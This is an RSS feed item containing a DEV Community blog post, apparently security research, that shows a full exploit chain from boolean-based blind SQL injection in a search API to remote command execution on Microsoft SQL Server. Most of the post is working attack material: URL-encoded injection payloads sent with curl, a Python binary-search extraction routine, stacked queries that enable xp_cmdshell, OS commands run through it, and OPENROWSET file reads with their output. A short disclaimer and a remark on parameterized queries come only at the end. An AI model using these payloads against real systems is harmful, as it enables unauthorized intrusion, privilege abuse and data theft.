<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: xnu11</title>
    <description>The latest articles on DEV Community by xnu11 (@xnu11).</description>
    <link>https://dev.to/xnu11</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4058025%2F42bbf3b8-c061-49de-b3ad-79d2666ad5d3.png</url>
      <title>DEV Community: xnu11</title>
      <link>https://dev.to/xnu11</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/xnu11"/>
    <language>en</language>
    <item>
      <title>Boolean-Based Blind SQL Injection to Remote Code Execution</title>
      <dc:creator>xnu11</dc:creator>
      <pubDate>Sat, 01 Aug 2026 13:33:09 +0000</pubDate>
      <link>https://dev.to/xnu11/boolean-based-blind-sql-injection-to-remote-code-execution-g29</link>
      <guid>https://dev.to/xnu11/boolean-based-blind-sql-injection-to-remote-code-execution-g29</guid>
      <description>&lt;p&gt;Complete Exploitation Chain &amp;amp; Proof of Concept&lt;/p&gt;

&lt;p&gt;Executive Summary&lt;/p&gt;

&lt;p&gt;This technical blog documents a CRITICAL Boolean-based blind SQL injection vulnerability discovered in a web application’s search API. Through careful exploitation, we demonstrate a complete attack chain from initial vulnerability detection through remote code execution (RCE) with sysadmin privileges.&lt;/p&gt;

&lt;p&gt;Severity: CVSS 9.8 (CRITICAL)&lt;br&gt;
Attack Type: SQL Injection → Privilege Escalation → RCE&lt;br&gt;
Impact: Complete database compromise, system command execution, data exfiltration&lt;br&gt;
Phase 1: Initial Reconnaissance &amp;amp; Vulnerability Detection&lt;br&gt;
Step 1: Baseline Testing&lt;/p&gt;

&lt;p&gt;Before attempting any exploitation, we establish a baseline by querying the vulnerable search endpoint with legitimate input.&lt;/p&gt;

&lt;p&gt;curl -s “&lt;a href="http://target/api/orders/search?search=Acme%E2%80%9D" rel="noopener noreferrer"&gt;http://target/api/orders/search?search=Acme”&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Response: Returns 1 result matching “A…p”&lt;br&gt;
Step 2: Boolean Condition Testing&lt;/p&gt;

&lt;p&gt;We inject a SQL condition that evaluates to TRUE using URL-encoded single quote injection:&lt;/p&gt;

&lt;p&gt;curl -s “&lt;a href="http://target/api/orders/search?search=x%27%20OR%201=1%20--%20" rel="noopener noreferrer"&gt;http://target/api/orders/search?search=x%27%20OR%201=1%20--%20&lt;/a&gt;"&lt;/p&gt;

&lt;p&gt;Response: Returns 3 results (all records in database)&lt;br&gt;
Step 3: False Condition Testing&lt;/p&gt;

&lt;p&gt;We test the inverse condition to confirm the boolean oracle works correctly:&lt;/p&gt;

&lt;p&gt;curl -s “&lt;a href="http://target/api/orders/search?search=x%27%20OR%201=2%20--%20" rel="noopener noreferrer"&gt;http://target/api/orders/search?search=x%27%20OR%201=2%20--%20&lt;/a&gt;"&lt;/p&gt;

&lt;p&gt;Response: Returns 0 results&lt;/p&gt;

&lt;p&gt;Why this confirms blind SQLi:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;`OR 1=2` is always FALSE

TRUE condition: 315 bytes, 3 records returned

FALSE condition: 75 bytes, 0 records returned.

240-byte delta = reliable content-length oracle for data extraction

Different response sizes allow character-by-character extraction
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Phase 2: Privilege Enumeration&lt;br&gt;
Step 4: Extract Database Metadata&lt;/p&gt;

&lt;p&gt;CHARACTER-BY-CHARACTER EXTRACTION (CORE BLIND SQLi)&lt;/p&gt;

&lt;p&gt;...&lt;br&gt;
def _extract_char(self, query: str, pos: int) -&amp;gt; str:&lt;br&gt;
    """&lt;br&gt;
    Binary-search for a single character at position 'pos'&lt;br&gt;
    Uses UNICODE() to convert character to ASCII value (1-65535)&lt;br&gt;
    Then narrows down using binary search (fast extraction)&lt;br&gt;
    """&lt;br&gt;
    lo, hi = 1, 0xFFFF  # Start: ASCII range 1 to 65535&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;while lo &amp;lt; hi:
    mid = (lo + hi) // 2  # Calculate midpoint

    # Create SQLi condition: UNICODE(char) &amp;gt; midpoint?
    # If TRUE: character is in upper half, search higher
    # If FALSE: character is in lower half, search lower
    if self.oracle(f"UNICODE(SUBSTRING(({query}),{pos},1)) &amp;gt; {mid}"):
        lo = mid + 1  # Character is &amp;gt; mid, search upper half
    else:
        hi = mid      # Character is &amp;lt;= mid, search lower half

return chr(lo)  # Convert final ASCII value back to character
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;...&lt;/p&gt;

&lt;p&gt;We enumerate the database to understand the environment:&lt;/p&gt;

&lt;p&gt;python3 sqli.py  — query “DB_NAME()”&lt;/p&gt;

&lt;p&gt;Output: &lt;code&gt;O…ment&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;python3 sqli.py  — query “@&lt;a class="mentioned-user" href="https://dev.to/version"&gt;@version&lt;/a&gt;”&lt;/p&gt;

&lt;p&gt;Output: &lt;code&gt;Microsoft SQL Server 2025 (RTM) — 17.0.1000.7 (X64) \n\tOct 21 2025 12:05:57 \n\tCopyright © 2025 Microsoft Corporation\n\tExpress Edition (64-bit) on Windows 10 Pro 10.0 &amp;lt;X64&amp;gt; (Build 26200: ) (Hypervisor)&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;python3 sqli.py  - query "@@SERVERNAME"&lt;/p&gt;

&lt;p&gt;Output: &lt;code&gt;A…RESS&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Why enumerate before RCE:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Understand target environment

Confirm SQL Server version

Identify service account context

Plan command execution strategy

Verify xp_cmdshell availability
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Step 5: Sysadmin Privilege Check&lt;/p&gt;

&lt;p&gt;Before attempting command execution, we verify the current SQL Server user has administrative privileges:&lt;/p&gt;

&lt;p&gt;curl -s “&lt;a href="http://target/api/orders/search?search=x%27%20OR%20IS_SRVROLEMEMBER%28%27sysadmin%27%29%3D1%20--%20" rel="noopener noreferrer"&gt;http://target/api/orders/search?search=x%27%20OR%20IS_SRVROLEMEMBER%28%27sysadmin%27%29%3D1%20--%20&lt;/a&gt;" | wc -c&lt;/p&gt;

&lt;p&gt;Response: 315 bytes (TRUE)&lt;/p&gt;

&lt;p&gt;Why this check is critical:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;`IS_SRVROLEMEMBER(‘sysadmin’)=1` checks if user is sysadmin

- TRUE response (315 bytes) = user has sysadmin privileges

- Without sysadmin, xp_cmdshell operations will fail

- This determines if we can proceed with RCE phase
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Phase 3: Command Execution &amp;amp; Data Exfiltration&lt;br&gt;
Step 6: Enable xp_cmdshell (Via SQLi Injection)&lt;/p&gt;

&lt;p&gt;We enable xp_cmdshell remotely using stacked SQL injection commands through curl:&lt;/p&gt;

&lt;h1&gt;
  
  
  Step 1: Enable advanced options via SQLi
&lt;/h1&gt;

&lt;p&gt;curl -s "&lt;a href="http://target/api/orders/search?search=x%27%29%3B%20EXEC%20sp_configure%20%27show%20advanced%20options%27%2C1%3B%20RECONFIGURE%3B%20--" rel="noopener noreferrer"&gt;http://target/api/orders/search?search=x%27%29%3B%20EXEC%20sp_configure%20%27show%20advanced%20options%27%2C1%3B%20RECONFIGURE%3B%20--&lt;/a&gt;"&lt;/p&gt;

&lt;h1&gt;
  
  
  Step 2: Enable xp_cmdshell via SQLi
&lt;/h1&gt;

&lt;p&gt;curl -s "&lt;a href="http://target/api/orders/search?search=x%27%29%3B%20EXEC%20sp_configure%20%27xp_cmdshell%27%2C1%3B%20RECONFIGURE%3B%20--" rel="noopener noreferrer"&gt;http://target/api/orders/search?search=x%27%29%3B%20EXEC%20sp_configure%20%27xp_cmdshell%27%2C1%3B%20RECONFIGURE%3B%20--&lt;/a&gt;"&lt;/p&gt;

&lt;h1&gt;
  
  
  Step 3: Verify enabled via blind SQLi
&lt;/h1&gt;

&lt;p&gt;curl -s "&lt;a href="http://target/api/orders/search?search=x%27%20OR%20%28SELECT%20value_in_use%20FROM%20sys.configurations%20WHERE%20name%3D%27xp_cmdshell%27%29%3D1%20--%20" rel="noopener noreferrer"&gt;http://target/api/orders/search?search=x%27%20OR%20%28SELECT%20value_in_use%20FROM%20sys.configurations%20WHERE%20name%3D%27xp_cmdshell%27%29%3D1%20--%20&lt;/a&gt;" | wc -c&lt;/p&gt;

&lt;p&gt;Response changed from 75 bytes (disabled) to 315 bytes (enabled)&lt;/p&gt;

&lt;p&gt;Why this stacked SQLi approach works:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;x') closes the WHERE clause context

Stacked queries execute multiple SQL statements in sequence via HTTP

EXEC sp_configure commands run with sysadmin privileges

No direct database access needed — all done remotely via curl

Response size oracle confirms success (315 bytes = TRUE = enabled)

show advanced options must be enabled first (security gate)

xp_cmdshell is disabled by default (security hardening)

RECONFIGURE applies changes immediately through SQLi
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Step 7: Execute System Commands (Via SQLi)&lt;/p&gt;

&lt;p&gt;Commands are executed entirely through SQL injection, no direct shell access:&lt;/p&gt;

&lt;h1&gt;
  
  
  Execute whoami and save output to accessible file
&lt;/h1&gt;

&lt;p&gt;curl -s "&lt;a href="http://target/api/orders/search?search=x%27%29%3BEXEC%20xp_cmdshell%20%27C%3A%5CWindows%5CSystem32%5Cwhoami.exe%20%3E%20C%3A%5CSQLData%5Cwhoami.txt%27--%20" rel="noopener noreferrer"&gt;http://target/api/orders/search?search=x%27%29%3BEXEC%20xp_cmdshell%20%27C%3A%5CWindows%5CSystem32%5Cwhoami.exe%20%3E%20C%3A%5CSQLData%5Cwhoami.txt%27--%20&lt;/a&gt;"&lt;/p&gt;

&lt;p&gt;Command breakdown:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;x') closes the WHERE clause from the vulnerable search parameter

EXEC xp_cmdshell executes OS command via SQL Server extended stored procedure

Full paths to executables (C:\Windows\System32\whoami.exe) ensure they execute

&amp;gt; redirects command output to file on server filesystem

-- comments out remaining query

All execution happens remotely through HTTP requests only
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Why command redirection to file is critical:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;xp_cmdshell output cannot be directly returned via HTTP response

Redirecting to file (&amp;gt; C:\SQLData\filename.txt) saves output for extraction

File must be in directory with SQL Server write permissions

File content retrieved in next step via OPENROWSET SQLi

Commands run with SQL Server service account privileges (NT AUTHORITY\NETWORK SERVICE)

No interactive shell needed — output captured and exfiltrated
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Step 8: Extract Command Output (Via Blind SQLi)&lt;/p&gt;

&lt;p&gt;File contents are read back using OPENROWSET and character-by-character blind extraction:&lt;/p&gt;

&lt;p&gt;bash&lt;/p&gt;

&lt;p&gt;python3 sqli.py --query "SELECT CAST(BulkColumn AS VARCHAR(MAX)) FROM OPENROWSET(BULK 'C:\SQLData\whoami.txt', SINGLE_CLOB) AS x(BulkColumn)"&lt;/p&gt;

&lt;p&gt;Final extracted data: nt service\mssqlexpress\n&lt;/p&gt;

&lt;p&gt;Output extracted via binary search:&lt;/p&gt;

&lt;p&gt;[1/29]  'n'       resp= 315 bytes   n&lt;br&gt;
[2/29]  't'       resp= 315 bytes   nt&lt;br&gt;
[3/29]  '\'       resp= 315 bytes   nt\&lt;br&gt;
...&lt;br&gt;
[29/29] '\n'      resp= 315 bytes   nt service\mssqlexpress\n&lt;/p&gt;

&lt;p&gt;Why OPENROWSET extraction works:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;OPENROWSET(BULK ...) reads file contents into SQL result set

SINGLE_CLOB treats entire file as one text column

SQL query result can be extracted via blind SQLi oracle

Binary search finds each character’s ASCII value using UNICODE()

Response size (315 bytes = TRUE, 75 bytes = FALSE) indicates correct character

Character-by-character extraction bypasses output restrictions

Works entirely remotely through HTTP requests
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Key Achievement: 100% Remote Attack&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;No direct database access needed

No shell access to server required

Entire attack chain through HTTP requests only

Sysadmin privileges escalated via SQLi

System commands executed and output exfiltrated via database queries
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Complete Attack Chain Summary&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;Initial Reconnaissance&lt;br&gt;
└─ Baseline query: search=Acme → 1 result&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Vulnerability Detection&lt;br&gt;&lt;br&gt;
├─ Boolean TRUE: x' OR 1=1 -- → 3 results (315 bytes)&lt;br&gt;
├─ Boolean FALSE: x' OR 1=2 -- → 0 results (75 bytes)&lt;br&gt;
└─ Oracle delta: 240 bytes ✓&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Privilege Enumeration&lt;br&gt;
├─ IS_SRVROLEMEMBER('sysadmin')=1 → TRUE ✓&lt;br&gt;
└─ Confirmed: User has admin privileges&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Enable Command Execution&lt;br&gt;
├─ sp_configure 'show advanced options', 1&lt;br&gt;
├─ sp_configure 'xp_cmdshell', 1&lt;br&gt;
└─ Verified: xp_cmdshell now enabled (315 bytes)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Remote Code Execution&lt;br&gt;
├─ EXEC xp_cmdshell 'whoami.exe &amp;gt; C:\SQLData\whoami.txt'&lt;br&gt;
├─ EXEC xp_cmdshell 'hostname.exe &amp;gt; C:\SQLData\hostname.txt'&lt;br&gt;&lt;br&gt;
└─ EXEC xp_cmdshell 'ipconfig.exe &amp;gt; C:\SQLData\ipconfig.txt'&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Data Exfiltration&lt;br&gt;
├─ SELECT ... FROM OPENROWSET(BULK 'C:\SQLData\whoami.txt', ...)&lt;br&gt;
├─ Binary-search character extraction&lt;br&gt;
└─ Output: NT AUTHORITY\NETWORK SERVICE&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Conclusion&lt;/p&gt;

&lt;p&gt;This proof of concept demonstrates how a seemingly simple SQL injection vulnerability can escalate to complete system compromise when combined with:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Boolean-based data extraction techniques

Privileged SQL Server accounts

Enabled dangerous features (xp_cmdshell)

File access capabilities (OPENROWSET)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;The attack chain is entirely database-driven, requiring only HTTP access to the vulnerable API and no direct command-line access. This highlights the critical importance of secure coding practices, particularly parameterized queries and privilege minimization in database applications.&lt;/p&gt;

&lt;p&gt;Disclaimer: This POC is for authorized security testing only. Unauthorized access to computer systems is illegal.&lt;br&gt;
Authors&lt;/p&gt;

&lt;p&gt;Abdulrahman Aldossary, Saleh Alghmdi&lt;br&gt;
 Date: July 30, 2026&lt;br&gt;
 Classification: Security Research&lt;/p&gt;

</description>
      <category>cybersecurity</category>
      <category>infosec</category>
      <category>security</category>
      <category>sql</category>
    </item>
  </channel>
</rss>
